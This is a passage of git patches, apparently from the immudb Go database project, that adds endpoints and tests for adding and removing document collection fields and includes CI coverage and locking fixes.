context.Context, dec func(interface{}) error, interceptor grpc.UnaryServerInterceptor) (interface{}, error) { in := new(CreateIndexRequest) if err := dec(in); err != nil { @@ -525,6 +589,14 @@ var DocumentService_ServiceDesc = grpc.ServiceDesc{ MethodName: "DeleteCollection", Handler: _DocumentService_DeleteCollection_Handler, }, + { + MethodName: "AddField", + Handler: _DocumentService_AddField_Handler, + }, + { + MethodName: "RemoveField", + Handler: _DocumentService_RemoveField_Handler, + }, { MethodName: "CreateIndex", Handler: _DocumentService_CreateIndex_Handler, diff --git a/pkg/auth/permissions.go b/pkg/auth/permissions.go index 0576ff34ae..8d3c60e329 100644 --- a/pkg/auth/permissions.go +++ b/pkg/auth/permissions.go @@ -48,6 +48,8 @@ var maintenanceMethods = map[string]struct{}{ "GetCollections": {}, "UpdateCollection": {}, "DeleteCollection": {}, + "AddField": {}, + "RemoveField": {}, "CreateIndex": {}, "DeleteIndex": {}, "InsertDocuments": {}, @@ -124,6 +126,8 @@ var methodsPermissions = map[string][]uint32{ "GetCollections": {PermissionSysAdmin, PermissionAdmin, PermissionRW, PermissionR}, "UpdateCollection": {PermissionSysAdmin, PermissionAdmin, PermissionRW}, "DeleteCollection": {PermissionSysAdmin, PermissionAdmin, PermissionRW}, + "AddField": {PermissionSysAdmin, PermissionAdmin, PermissionRW}, + "RemoveField": {PermissionSysAdmin, PermissionAdmin, PermissionRW}, "CreateIndex": {PermissionSysAdmin, PermissionAdmin, PermissionRW}, "DeleteIndex": {PermissionSysAdmin, PermissionAdmin, PermissionRW}, "InsertDocuments": {PermissionSysAdmin, PermissionAdmin, PermissionRW}, diff --git a/pkg/database/document_database.go b/pkg/database/document_database.go index 1d31bf2fc2..9020e5b493 100644 --- a/pkg/database/document_database.go +++ b/pkg/database/document_database.go @@ -37,6 +37,10 @@ type DocumentDatabase interface { UpdateCollection(ctx context.Context, req *protomodel.UpdateCollectionRequest) (*protomodel.UpdateCollectionResponse, error) // DeleteCollection deletes a collection DeleteCollection(ctx context.Context, req *protomodel.DeleteCollectionRequest) (*protomodel.DeleteCollectionResponse, error) + // AddField adds a new field in a collection + AddField(ctx context.Context, req *protomodel.AddFieldRequest) (*protomodel.AddFieldResponse, error) + // RemoveField removes a field from a collection + RemoveField(ctx context.Context, req *protomodel.RemoveFieldRequest) (*protomodel.RemoveFieldResponse, error) // CreateIndex creates an index for a collection CreateIndex(ctx context.Context, req *protomodel.CreateIndexRequest) (*protomodel.CreateIndexResponse, error) // DeleteIndex deletes an index from a collection @@ -143,6 +147,44 @@ func (d *db) DeleteCollection(ctx context.Context, req *protomodel.DeleteCollect return &protomodel.DeleteCollectionResponse{}, nil } +// AddField adds a new field in a collection +func (d *db) AddField(ctx context.Context, req *protomodel.AddFieldRequest) (*protomodel.AddFieldResponse, error) { + d.mutex.RLock() + defer d.mutex.RUnlock() + + if d.isReplica() { + return nil, ErrIsReplica + } + + err := d.documentEngine.AddField(ctx, req.CollectionName, req.Field) + if err != nil { + return nil, err + } + + return &protomodel.AddFieldResponse{}, nil +} + +// RemoveField removes a field from a collection +func (d *db) RemoveField(ctx context.Context, req *protomodel.RemoveFieldRequest) (*protomodel.RemoveFieldResponse, error) { + d.mutex.RLock() + defer d.mutex.RUnlock() + + if d.isReplica() { + return nil, ErrIsReplica + } + + if req == nil { + return nil, ErrIllegalArguments + } + + err := d.documentEngine.RemoveField(ctx, req.CollectionName, req.FieldName) + if err != nil { + return nil, err + } + + return &protomodel.RemoveFieldResponse{}, nil +} + // CreateIndex creates an index for a collection func (d *db) CreateIndex(ctx context.Context, req *protomodel.CreateIndexRequest) (*protomodel.CreateIndexResponse, error) { d.mutex.RLock() diff --git a/pkg/server/db_dummy_closed.go b/pkg/server/db_dummy_closed.go index 2bf735ace3..f468cc8794 100644 --- a/pkg/server/db_dummy_closed.go +++ b/pkg/server/db_dummy_closed.go @@ -268,6 +268,14 @@ func (d *closedDB) DeleteCollection(ctx context.Context, req *protomodel.DeleteC return nil, store.ErrAlreadyClosed } +func (d *closedDB) AddField(ctx context.Context, req *protomodel.AddFieldRequest) (*protomodel.AddFieldResponse, error) { + return nil, store.ErrAlreadyClosed +} + +func (d *closedDB) RemoveField(ctx context.Context, req *protomodel.RemoveFieldRequest) (*protomodel.RemoveFieldResponse, error) { + return nil, store.ErrAlreadyClosed +} + func (d *closedDB) CreateIndex(ctx context.Context, req *protomodel.CreateIndexRequest) (*protomodel.CreateIndexResponse, error) { return nil, store.ErrAlreadyClosed } diff --git a/pkg/server/db_dummy_closed_test.go b/pkg/server/db_dummy_closed_test.go index b509eecafe..9e8612409f 100644 --- a/pkg/server/db_dummy_closed_test.go +++ b/pkg/server/db_dummy_closed_test.go @@ -185,6 +185,12 @@ func TestDummyClosedDatabase(t *testing.T) { _, err = cdb.DeleteCollection(context.Background(), nil) require.ErrorIs(t, err, store.ErrAlreadyClosed) + _, err = cdb.AddField(context.Background(), nil) + require.ErrorIs(t, err, store.ErrAlreadyClosed) + + _, err = cdb.RemoveField(context.Background(), nil) + require.ErrorIs(t, err, store.ErrAlreadyClosed) + _, err = cdb.CreateIndex(context.Background(), nil) require.ErrorIs(t, err, store.ErrAlreadyClosed) diff --git a/pkg/server/documents_operations.go b/pkg/server/documents_operations.go index f4d7a30e72..c6e73f32fe 100644 --- a/pkg/server/documents_operations.go +++ b/pkg/server/documents_operations.go @@ -74,6 +74,24 @@ func (s *ImmuServer) DeleteCollection(ctx context.Context, req *protomodel.Delet return db.DeleteCollection(ctx, req) } +func (s *ImmuServer) AddField(ctx context.Context, req *protomodel.AddFieldRequest) (*protomodel.AddFieldResponse, error) { + db, err := s.getDBFromCtx(ctx, "AddField") + if err != nil { + return nil, err + } + + return db.AddField(ctx, req) +} + +func (s *ImmuServer) RemoveField(ctx context.Context, req *protomodel.RemoveFieldRequest) (*protomodel.RemoveFieldResponse, error) { + db, err := s.getDBFromCtx(ctx, "RemoveField") + if err != nil { + return nil, err + } + + return db.RemoveField(ctx, req) +} + func (s *ImmuServer) CreateIndex(ctx context.Context, req *protomodel.CreateIndexRequest) (*protomodel.CreateIndexResponse, error) { db, err := s.getDBFromCtx(ctx, "CreateIndex") if err != nil { From ba48ebabd82499365b69ab25b044bfa9e89db9e7 Mon Sep 17 00:00:00 2001 From: Jeronimo Irazabal Date: Thu, 21 Sep 2023 18:19:08 +0200 Subject: [PATCH 0796/1062] chore(pkg/api): endpoint improvements Signed-off-by: Jeronimo Irazabal --- pkg/api/openapi/apidocs.swagger.json | 54 ++++------------------------ 1 file changed, 7 insertions(+), 47 deletions(-) diff --git a/pkg/api/openapi/apidocs.swagger.json b/pkg/api/openapi/apidocs.swagger.json index dbd04335d4..1308b33587 100644 --- a/pkg/api/openapi/apidocs.swagger.json +++ b/pkg/api/openapi/apidocs.swagger.json @@ -110,7 +110,7 @@ "security": [] } }, - "/collection/documents/search": { + "/collection/{collectionName}/documents/search": { "post": { "operationId": "SearchDocuments", "responses": { @@ -128,6 +128,12 @@ } }, "parameters": [ + { + "name": "collectionName", + "in": "path", + "required": true, + "type": "string" + }, { "name": "body", "in": "body", @@ -700,44 +706,6 @@ ] } }, - "/collection/{collectionName}/documents/search": { - "post": { - "operationId": "SearchDocuments", - "responses": { - "200": { - "description": "A successful response.", - "schema": { - "$ref": "#/definitions/modelSearchDocumentsResponse" - } - }, - "default": { - "description": "An unexpected error response.", - "schema": { - "$ref": "#/definitions/runtimeError" - } - } - }, - "parameters": [ - { - "name": "collectionName", - "in": "path", - "required": true, - "type": "string" - }, - { - "name": "body", - "in": "body", - "required": true, - "schema": { - "$ref": "#/definitions/modelSearchDocumentsRequest" - } - } - ], - "tags": [ - "documents" - ] - } - }, "/collections": { "get": { "operationId": "GetCollections", @@ -1307,12 +1275,6 @@ "modelSearchDocumentsRequestWith": { "type": "object", "properties": { - "searchId": { - "type": "string" - }, - "query": { - "$ref": "#/definitions/modelQuery" - }, "page": { "type": "integer", "format": "int64" @@ -1326,8 +1288,6 @@ } }, "required": [ - "searchId", - "query", "page", "pageSize", "keepOpen" From 71c944d0e89300008413ae6e6ed94d7fa257ec5c Mon Sep 17 00:00:00 2001 From: Jeronimo Irazabal Date: Fri, 22 Sep 2023 09:57:51 +0200 Subject: [PATCH 0797/1062] test(pkg/database): add/remove field from collection Signed-off-by: Jeronimo Irazabal --- .github/workflows/push.yml | 4 ++-- Makefile | 4 ++-- pkg/database/document_database_test.go | 29 +++++++++++++++++++++++++- 3 files changed, 32 insertions(+), 5 deletions(-) diff --git a/.github/workflows/push.yml b/.github/workflows/push.yml index 7b06612f33..20e0d97586 100644 --- a/.github/workflows/push.yml +++ b/.github/workflows/push.yml @@ -365,8 +365,8 @@ jobs: export PATH=$PATH:$(go env GOPATH)/bin set -o pipefail - ./ext-tools/go-acc ./... --covermode=atomic --ignore test,immuclient,immuadmin,helper,cmdtest,sservice,version,tools,webconsole,protomodel,httpclient --tags minio || true - cat coverage.txt | grep -v "schema.pb" | grep -v "schema_grpc.pb" | grep -v "immuclient" | grep -v "immuadmin" | grep -v "helper" | grep -v "cmdtest" | grep -v "sservice" | grep -v "version" > coverage.out + ./ext-tools/go-acc ./... --covermode=atomic --ignore test,immuclient,immuadmin,helper,cmdtest,sservice,version,tools,webconsole,protomodel,schema --tags minio || true + cat coverage.txt | grep -v "schema" | grep -v "protomodel" | grep -v "immuclient" | grep -v "immuadmin" | grep -v "helper" | grep -v "cmdtest" | grep -v "sservice" | grep -v "version" > coverage.out ./ext-tools/goveralls -coverprofile=coverage.out -service=gh-ci -repotoken ${{ secrets.COVERALLS_TOKEN }} # Stop minio diff --git a/Makefile b/Makefile index 415cdacc7d..c6f9ee947f 100644 --- a/Makefile +++ b/Makefile @@ -157,8 +157,8 @@ test-client: # To view coverage as HTML run: go tool cover -html=coverage.txt .PHONY: coverage coverage: - go-acc ./... --covermode=atomic --ignore=test,immuclient,immuadmin,helper,cmdtest,sservice,version,tools,webconsole,protomodel,httpclient - cat coverage.txt | grep -v "schema.pb" | grep -v "immuclient" | grep -v "immuadmin" | grep -v "helper" | grep -v "cmdtest" | grep -v "sservice" | grep -v "version" > coverage.out + go-acc ./... --covermode=atomic --ignore=test,immuclient,immuadmin,helper,cmdtest,sservice,version,tools,webconsole,protomodel,schema + cat coverage.txt | grep -v "schema" | grep -v "protomodel" | grep -v "immuclient" | grep -v "immuadmin" | grep -v "helper" | grep -v "cmdtest" | grep -v "sservice" | grep -v "version" > coverage.out $(GO) tool cover -func coverage.out .PHONY: build/codegen diff --git a/pkg/database/document_database_test.go b/pkg/database/document_database_test.go index dff0336ad2..e0f394931a 100644 --- a/pkg/database/document_database_test.go +++ b/pkg/database/document_database_test.go @@ -145,11 +145,19 @@ func TestDocumentDB_WithCollections(t *testing.T) { }) require.NoError(t, err) + _, err = db.AddField(context.Background(), &protomodel.AddFieldRequest{ + CollectionName: defaultCollectionName, + Field: &protomodel.Field{Name: "extra_field", Type: protomodel.FieldType_UUID}, + }) + require.NoError(t, err) + cinfo, err := db.GetCollection(context.Background(), &protomodel.GetCollectionRequest{ Name: defaultCollectionName, }) require.NoError(t, err) + collection := cinfo.Collection + expectedFieldKeys := []*protomodel.Field{ {Name: "_id", Type: protomodel.FieldType_STRING}, {Name: "uuid", Type: protomodel.FieldType_UUID}, @@ -157,9 +165,28 @@ func TestDocumentDB_WithCollections(t *testing.T) { {Name: "name", Type: protomodel.FieldType_STRING}, {Name: "pin", Type: protomodel.FieldType_INTEGER}, {Name: "country", Type: protomodel.FieldType_STRING}, + {Name: "extra_field", Type: protomodel.FieldType_UUID}, } - collection := cinfo.Collection + for i, idxType := range expectedFieldKeys { + require.Equal(t, idxType.Name, collection.Fields[i].Name) + require.Equal(t, idxType.Type, collection.Fields[i].Type) + } + + _, err = db.RemoveField(context.Background(), &protomodel.RemoveFieldRequest{ + CollectionName: defaultCollectionName, + FieldName: "extra_field", + }) + require.NoError(t, err) + + expectedFieldKeys = []*protomodel.Field{ + {Name: "_id", Type: protomodel.FieldType_STRING}, + {Name: "uuid", Type: protomodel.FieldType_UUID}, + {Name: "number", Type: protomodel.FieldType_INTEGER}, + {Name: "name", Type: protomodel.FieldType_STRING}, + {Name: "pin", Type: protomodel.FieldType_INTEGER}, + {Name: "country", Type: protomodel.FieldType_STRING}, + } for i, idxType := range expectedFieldKeys { require.Equal(t, idxType.Name, collection.Fields[i].Name) From 047a55b2efb7ac5bafb2c67156fdb32d6615f861 Mon Sep 17 00:00:00 2001 From: Jeronimo Irazabal Date: Fri, 22 Sep 2023 10:14:03 +0200 Subject: [PATCH 0798/1062] test(embedded/sql): multi-indexing validation Signed-off-by: Jeronimo Irazabal --- embedded/sql/engine.go | 3 ++- embedded/sql/engine_test.go | 9 +++++++++ 2 files changed, 11 insertions(+), 1 deletion(-) diff --git a/embedded/sql/engine.go b/embedded/sql/engine.go index d361dad932..1d8c5d0b88 100644 --- a/embedded/sql/engine.go +++ b/embedded/sql/engine.go @@ -28,6 +28,7 @@ import ( var ErrNoSupported = errors.New("not supported") var ErrIllegalArguments = store.ErrIllegalArguments +var ErrMultiIndexingNotEnabled = fmt.Errorf("%w: multi-indexing must be enabled", store.ErrIllegalState) var ErrParsingError = errors.New("parsing error") var ErrDDLorDMLTxOnly = errors.New("transactions can NOT combine DDL and DML statements") var ErrUnspecifiedMultiDBHandler = fmt.Errorf("%w: unspecified multidbHanlder", store.ErrIllegalState) @@ -121,7 +122,7 @@ func NewEngine(st *store.ImmuStore, opts *Options) (*Engine, error) { } if !st.MultiIndexingEnabled() { - return nil, fmt.Errorf("%w: multi-indexing must be enabled", ErrIllegalArguments) + return nil, ErrMultiIndexingNotEnabled } err := opts.Validate() diff --git a/embedded/sql/engine_test.go b/embedded/sql/engine_test.go index 95b0d75a22..1fdcea4c85 100644 --- a/embedded/sql/engine_test.go +++ b/embedded/sql/engine_test.go @@ -57,6 +57,15 @@ func setupCommonTest(t *testing.T) *Engine { return engine } +func TestCreateDatabaseWithoutMultiIndexingEnabled(t *testing.T) { + st, err := store.Open(t.TempDir(), store.DefaultOptions().WithMultiIndexing(false)) + require.NoError(t, err) + defer closeStore(t, st) + + _, err = NewEngine(st, DefaultOptions().WithPrefix(sqlPrefix)) + require.ErrorIs(t, err, ErrMultiIndexingNotEnabled) +} + func TestCreateDatabaseWithoutMultiDBHandler(t *testing.T) { st, err := store.Open(t.TempDir(), store.DefaultOptions().WithMultiIndexing(true)) require.NoError(t, err) From e8c5421733ab01aa9475c2dda7b6a7f2f8a5090a Mon Sep 17 00:00:00 2001 From: Jeronimo Irazabal Date: Fri, 22 Sep 2023 10:26:16 +0200 Subject: [PATCH 0799/1062] test(pkg/database): add and remove fields from collection Signed-off-by: Jeronimo Irazabal --- pkg/database/document_database.go | 4 ++++ pkg/database/document_database_test.go | 29 ++++++++++++++++++++++++++ 2 files changed, 33 insertions(+) diff --git a/pkg/database/document_database.go b/pkg/database/document_database.go index 9020e5b493..27b9bc5110 100644 --- a/pkg/database/document_database.go +++ b/pkg/database/document_database.go @@ -156,6 +156,10 @@ func (d *db) AddField(ctx context.Context, req *protomodel.AddFieldRequest) (*pr return nil, ErrIsReplica } + if req == nil { + return nil, ErrIllegalArguments + } + err := d.documentEngine.AddField(ctx, req.CollectionName, req.Field) if err != nil { return nil, err diff --git a/pkg/database/document_database_test.go b/pkg/database/document_database_test.go index e0f394931a..cbe396f80f 100644 --- a/pkg/database/document_database_test.go +++ b/pkg/database/document_database_test.go @@ -111,6 +111,12 @@ func TestDocumentDB_WritesOnReplica(t *testing.T) { _, err = db.DeleteCollection(context.Background(), &protomodel.DeleteCollectionRequest{}) require.ErrorIs(t, err, ErrIsReplica) + _, err = db.AddField(context.Background(), &protomodel.AddFieldRequest{}) + require.ErrorIs(t, err, ErrIsReplica) + + _, err = db.RemoveField(context.Background(), &protomodel.RemoveFieldRequest{}) + require.ErrorIs(t, err, ErrIsReplica) + _, err = db.CreateIndex(context.Background(), &protomodel.CreateIndexRequest{}) require.ErrorIs(t, err, ErrIsReplica) @@ -145,12 +151,26 @@ func TestDocumentDB_WithCollections(t *testing.T) { }) require.NoError(t, err) + _, err = db.AddField(context.Background(), nil) + require.ErrorIs(t, err, ErrIllegalArguments) + + _, err = db.AddField(context.Background(), &protomodel.AddFieldRequest{ + CollectionName: defaultCollectionName, + }) + require.ErrorIs(t, err, ErrIllegalArguments) + _, err = db.AddField(context.Background(), &protomodel.AddFieldRequest{ CollectionName: defaultCollectionName, Field: &protomodel.Field{Name: "extra_field", Type: protomodel.FieldType_UUID}, }) require.NoError(t, err) + _, err = db.AddField(context.Background(), &protomodel.AddFieldRequest{ + CollectionName: defaultCollectionName, + Field: &protomodel.Field{Name: "extra_field", Type: protomodel.FieldType_UUID}, + }) + require.ErrorIs(t, err, document.ErrFieldAlreadyExists) + cinfo, err := db.GetCollection(context.Background(), &protomodel.GetCollectionRequest{ Name: defaultCollectionName, }) @@ -173,12 +193,21 @@ func TestDocumentDB_WithCollections(t *testing.T) { require.Equal(t, idxType.Type, collection.Fields[i].Type) } + _, err = db.RemoveField(context.Background(), nil) + require.ErrorIs(t, err, ErrIllegalArguments) + _, err = db.RemoveField(context.Background(), &protomodel.RemoveFieldRequest{ CollectionName: defaultCollectionName, FieldName: "extra_field", }) require.NoError(t, err) + _, err = db.RemoveField(context.Background(), &protomodel.RemoveFieldRequest{ + CollectionName: defaultCollectionName, + FieldName: "extra_field", + }) + require.ErrorIs(t, err, document.ErrFieldDoesNotExist) + expectedFieldKeys = []*protomodel.Field{ {Name: "_id", Type: protomodel.FieldType_STRING}, {Name: "uuid", Type: protomodel.FieldType_UUID}, From 6aeff2ca1b3ae8797115da1cec655cda1c5dc44c Mon Sep 17 00:00:00 2001 From: Jeronimo Irazabal Date: Fri, 22 Sep 2023 10:31:53 +0200 Subject: [PATCH 0800/1062] test(pkg/server): add and remove fields from collection Signed-off-by: Jeronimo Irazabal --- pkg/server/documents_operations_test.go | 32 ++++++++++++++++++++++++- 1 file changed, 31 insertions(+), 1 deletion(-) diff --git a/pkg/server/documents_operations_test.go b/pkg/server/documents_operations_test.go index 2c28e9b4c7..762a4c7b79 100644 --- a/pkg/server/documents_operations_test.go +++ b/pkg/server/documents_operations_test.go @@ -60,6 +60,12 @@ func TestV2Authentication(t *testing.T) { _, err = s.DeleteCollection(ctx, &protomodel.DeleteCollectionRequest{}) require.ErrorIs(t, err, ErrNotLoggedIn) + _, err = s.AddField(ctx, &protomodel.AddFieldRequest{}) + require.ErrorIs(t, err, ErrNotLoggedIn) + + _, err = s.RemoveField(ctx, &protomodel.RemoveFieldRequest{}) + require.ErrorIs(t, err, ErrNotLoggedIn) + _, err = s.CreateIndex(ctx, &protomodel.CreateIndexRequest{}) require.ErrorIs(t, err, ErrNotLoggedIn) @@ -696,7 +702,6 @@ func TestCollections(t *testing.T) { defaultCollectionName := "mycollection" t.Run("should pass when creating a collection", func(t *testing.T) { - _, err := s.CreateCollection(ctx, &protomodel.CreateCollectionRequest{ Name: defaultCollectionName, Fields: []*protomodel.Field{ @@ -708,6 +713,30 @@ func TestCollections(t *testing.T) { }) require.NoError(t, err) + _, err = s.AddField(ctx, &protomodel.AddFieldRequest{ + CollectionName: defaultCollectionName, + Field: &protomodel.Field{ + Name: "extra_field", + Type: protomodel.FieldType_UUID, + }, + }) + require.NoError(t, err) + + _, err = s.AddField(ctx, &protomodel.AddFieldRequest{ + CollectionName: defaultCollectionName, + Field: &protomodel.Field{ + Name: "extra_field1", + Type: protomodel.FieldType_STRING, + }, + }) + require.NoError(t, err) + + _, err = s.RemoveField(ctx, &protomodel.RemoveFieldRequest{ + CollectionName: defaultCollectionName, + FieldName: "extra_field1", + }) + require.NoError(t, err) + // get collection cinfo, err := s.GetCollection(ctx, &protomodel.GetCollectionRequest{ Name: defaultCollectionName, @@ -720,6 +749,7 @@ func TestCollections(t *testing.T) { {Name: "name", Type: protomodel.FieldType_STRING}, {Name: "pin", Type: protomodel.FieldType_INTEGER}, {Name: "country", Type: protomodel.FieldType_STRING}, + {Name: "extra_field", Type: protomodel.FieldType_UUID}, } collection := cinfo.Collection From 4d923b74673c8f4908c978d773d930be5a78c4cd Mon Sep 17 00:00:00 2001 From: Jeronimo Irazabal Date: Fri, 22 Sep 2023 11:05:35 +0200 Subject: [PATCH 0801/1062] test(embedded/document): add and remove field corner cases Signed-off-by: Jeronimo Irazabal --- .github/workflows/pull.yml | 4 +-- .github/workflows/push.yml | 4 +-- Makefile | 4 +-- embedded/document/engine_test.go | 55 ++++++++++++++++++++++++++++++++ 4 files changed, 61 insertions(+), 6 deletions(-) diff --git a/.github/workflows/pull.yml b/.github/workflows/pull.yml index 81809f8635..5bd47aebf5 100644 --- a/.github/workflows/pull.yml +++ b/.github/workflows/pull.yml @@ -151,8 +151,8 @@ jobs: export PATH=$PATH:$(go env GOPATH)/bin set -o pipefail - ./ext-tools/go-acc ./... --covermode=atomic --ignore test,immuclient,immuadmin,helper,cmdtest,sservice,version,tools,webconsole,protomodel,httpclient --tags minio || true - cat coverage.txt | grep -v "schema.pb" | grep -v "schema_grpc.pb" | grep -v "immuclient" | grep -v "immuadmin" | grep -v "helper" | grep -v "cmdtest" | grep -v "sservice" | grep -v "version" | grep -v "tools" | grep -v "webconsole" > coverage.out + ./ext-tools/go-acc ./... --covermode=atomic --ignore test,immuclient,immuadmin,helper,cmdtest,sservice,version,tools,webconsole,protomodel,schema,swagger --tags minio || true + cat coverage.txt | grep -v "schema" | grep -v "protomodel" | grep -v "swagger" | grep -v "webserver.go" | grep -v "immuclient" | grep -v "immuadmin" | grep -v "helper" | grep -v "cmdtest" | grep -v "sservice" | grep -v "version" | grep -v "tools" | grep -v "webconsole" > coverage.out ./ext-tools/goveralls -coverprofile=coverage.out -service=gh-ci -repotoken ${{ secrets.COVERALLS_TOKEN }} # Stop minio diff --git a/.github/workflows/push.yml b/.github/workflows/push.yml index 20e0d97586..2849bdae1b 100644 --- a/.github/workflows/push.yml +++ b/.github/workflows/push.yml @@ -365,8 +365,8 @@ jobs: export PATH=$PATH:$(go env GOPATH)/bin set -o pipefail - ./ext-tools/go-acc ./... --covermode=atomic --ignore test,immuclient,immuadmin,helper,cmdtest,sservice,version,tools,webconsole,protomodel,schema --tags minio || true - cat coverage.txt | grep -v "schema" | grep -v "protomodel" | grep -v "immuclient" | grep -v "immuadmin" | grep -v "helper" | grep -v "cmdtest" | grep -v "sservice" | grep -v "version" > coverage.out + ./ext-tools/go-acc ./... --covermode=atomic --ignore test,immuclient,immuadmin,helper,cmdtest,sservice,version,tools,webconsole,protomodel,schema,swagger --tags minio || true + cat coverage.txt | grep -v "schema" | grep -v "protomodel" | grep -v "swagger" | grep -v "webserver.go" | grep -v "immuclient" | grep -v "immuadmin" | grep -v "helper" | grep -v "cmdtest" | grep -v "sservice" | grep -v "version" > coverage.out ./ext-tools/goveralls -coverprofile=coverage.out -service=gh-ci -repotoken ${{ secrets.COVERALLS_TOKEN }} # Stop minio diff --git a/Makefile b/Makefile index c6f9ee947f..d3fd7c141e 100644 --- a/Makefile +++ b/Makefile @@ -157,8 +157,8 @@ test-client: # To view coverage as HTML run: go tool cover -html=coverage.txt .PHONY: coverage coverage: - go-acc ./... --covermode=atomic --ignore=test,immuclient,immuadmin,helper,cmdtest,sservice,version,tools,webconsole,protomodel,schema - cat coverage.txt | grep -v "schema" | grep -v "protomodel" | grep -v "immuclient" | grep -v "immuadmin" | grep -v "helper" | grep -v "cmdtest" | grep -v "sservice" | grep -v "version" > coverage.out + go-acc ./... --covermode=atomic --ignore=test,immuclient,immuadmin,helper,cmdtest,sservice,version,tools,webconsole,protomodel,schema,swagger + cat coverage.txt | grep -v "schema" | grep -v "protomodel" | grep -v "swagger" | grep -v "webserver.go" | grep -v "immuclient" | grep -v "immuadmin" | grep -v "helper" | grep -v "cmdtest" | grep -v "sservice" | grep -v "version" > coverage.out $(GO) tool cover -func coverage.out .PHONY: build/codegen diff --git a/embedded/document/engine_test.go b/embedded/document/engine_test.go index c19ba1b468..7e63f3fca8 100644 --- a/embedded/document/engine_test.go +++ b/embedded/document/engine_test.go @@ -18,6 +18,7 @@ package document import ( "context" "fmt" + "math" "sync" "testing" @@ -1507,6 +1508,60 @@ func TestCollectionUpdateWithDeletedIndex(t *testing.T) { require.ErrorIs(t, err, ErrFieldDoesNotExist) }) + t.Run("adding invalid field should fail", func(t *testing.T) { + err := engine.AddField( + context.Background(), + "1invalidCollectionName", + &protomodel.Field{ + Name: "newFieldName", + Type: protomodel.FieldType_INTEGER, + }, + ) + require.ErrorIs(t, err, ErrIllegalArguments) + + err = engine.AddField( + context.Background(), + collectionName, + &protomodel.Field{ + Name: "1invalidFieldName", + Type: protomodel.FieldType_INTEGER, + }, + ) + require.ErrorIs(t, err, ErrIllegalArguments) + + err = engine.AddField( + context.Background(), + collectionName, + &protomodel.Field{ + Name: "newFieldName", + Type: protomodel.FieldType(math.MaxInt16), + }, + ) + require.ErrorIs(t, err, ErrUnsupportedType) + }) + + t.Run("removing invalid field should fail", func(t *testing.T) { + err := engine.AddField( + context.Background(), + "1invalidCollectionName", + &protomodel.Field{ + Name: "newFieldName", + Type: protomodel.FieldType_INTEGER, + }, + ) + require.ErrorIs(t, err, ErrIllegalArguments) + + err = engine.AddField( + context.Background(), + collectionName, + &protomodel.Field{ + Name: "1invalidFieldName", + Type: protomodel.FieldType_INTEGER, + }, + ) + require.ErrorIs(t, err, ErrIllegalArguments) + }) + t.Run("create index with a new field name should succeed", func(t *testing.T) { err := engine.AddField( context.Background(), From 0ee21a267994db19757dad3bf7c84de336a9cf1c Mon Sep 17 00:00:00 2001 From: Jeronimo Irazabal Date: Fri, 22 Sep 2023 21:31:03 +0200 Subject: [PATCH 0802/1062] fix(embedded/store): read lock when fetching indexer Signed-off-by: Jeronimo Irazabal --- embedded/store/immustore.go | 3 +++ 1 file changed, 3 insertions(+) diff --git a/embedded/store/immustore.go b/embedded/store/immustore.go index 717e29c2aa..ca03675436 100644 --- a/embedded/store/immustore.go +++ b/embedded/store/immustore.go @@ -794,6 +794,9 @@ func hasPrefix(key, prefix []byte) bool { } func (s *ImmuStore) getIndexerFor(keyPrefix []byte) (*indexer, error) { + s.indexersMux.RLock() + defer s.indexersMux.RUnlock() + for _, indexer := range s.indexers { if hasPrefix(keyPrefix, indexer.Prefix()) { return indexer, nil From 8f3ea23cab4562b3e1f23e99f18d2246c231cf17 Mon Sep 17 00:00:00 2001 From: Jeronimo Irazabal Date: Sun, 24 Sep 2023 12:04:41 +0200 Subject: [PATCH 0803/1062] fix(embedded/store): read lock when pausing indexers Signed-off-by: Jeronimo Irazabal --- embedded/store/immustore.go | 4 ++-- 1 file changed, 2 insertions(+), 2 deletions(-) diff --git a/embedded/store/immustore.go b/embedded/store/immustore.go index ca03675436..0bbe664b65 100644 --- a/embedded/store/immustore.go +++ b/embedded/store/immustore.go @@ -2188,8 +2188,8 @@ func (s *ImmuStore) preCommitWith(ctx context.Context, callback func(txID uint64 } defer otx.Cancel() - s.indexersMux.Lock() - defer s.indexersMux.Unlock() + s.indexersMux.RLock() + defer s.indexersMux.RUnlock() for _, indexer := range s.indexers { indexer.Pause() From e0f49b440b27fbbb66eb019b4f9f1f44cd2f438f Mon Sep 17 00:00:00 2001 From: Jeronimo Irazabal Date: Wed, 27 Sep 2023 11:41:45 +0200 Subject: [PATCH 0804/1062] chore(swagger): use embedded logger package Signed-off-by: Jeronimo Irazabal --- Makefile | 2 +- swagger/swagger_test.go | 2 +- 2 files changed, 2 insertions(+), 2 deletions(-) diff --git a/Makefile b/Makefile index d3fd7c141e..553cbdb2e1 100644 --- a/Makefile +++ b/Makefile @@ -221,7 +221,7 @@ man: .PHONY: prerequisites prerequisites: - $(GO) mod tidy + $(GO) mod tidy -compat=1.17 cat tools.go | grep _ | awk -F'"' '{print $$2}' | xargs -tI % go install % ########################## releases scripts ############################################################################ diff --git a/swagger/swagger_test.go b/swagger/swagger_test.go index 062b9c9b56..ab0a2752e8 100644 --- a/swagger/swagger_test.go +++ b/swagger/swagger_test.go @@ -10,7 +10,7 @@ import ( "os" "testing" - "github.com/codenotary/immudb/pkg/logger" + "github.com/codenotary/immudb/embedded/logger" "github.com/stretchr/testify/assert" "github.com/stretchr/testify/require" ) From 950b9c747c1736812a395c7b6a12315931bdcb85 Mon Sep 17 00:00:00 2001 From: Jeronimo Irazabal Date: Thu, 28 Sep 2023 15:07:01 +0200 Subject: [PATCH 0805/1062] test(embedded/document): unit test to reproduce issue on indexing after adding and removing fields Signed-off-by: Jeronimo Irazabal --- embedded/document/engine_test.go | 51 ++++++++++++++++++++++++++------ 1 file changed, 42 insertions(+), 9 deletions(-) diff --git a/embedded/document/engine_test.go b/embedded/document/engine_test.go index 7e63f3fca8..4331214912 100644 --- a/embedded/document/engine_test.go +++ b/embedded/document/engine_test.go @@ -1449,6 +1449,8 @@ func TestCollectionUpdateWithDeletedIndex(t *testing.T) { "", []*protomodel.Field{ {Name: "number", Type: protomodel.FieldType_DOUBLE}, + {Name: "title", Type: protomodel.FieldType_STRING}, + {Name: "amount", Type: protomodel.FieldType_INTEGER}, }, []*protomodel.Index{ {Fields: []string{"number"}}, @@ -1563,12 +1565,24 @@ func TestCollectionUpdateWithDeletedIndex(t *testing.T) { }) t.Run("create index with a new field name should succeed", func(t *testing.T) { - err := engine.AddField( + _, _, err := engine.InsertDocument( + context.Background(), + collectionName, + &structpb.Struct{ + Fields: map[string]*structpb.Value{ + "number": structpb.NewNumberValue(1), + "title": structpb.NewStringValue("title1"), + "amount": structpb.NewNumberValue(10), + }, + }) + require.NoError(t, err) + + err = engine.AddField( context.Background(), collectionName, &protomodel.Field{ - Name: "newFieldName", - Type: 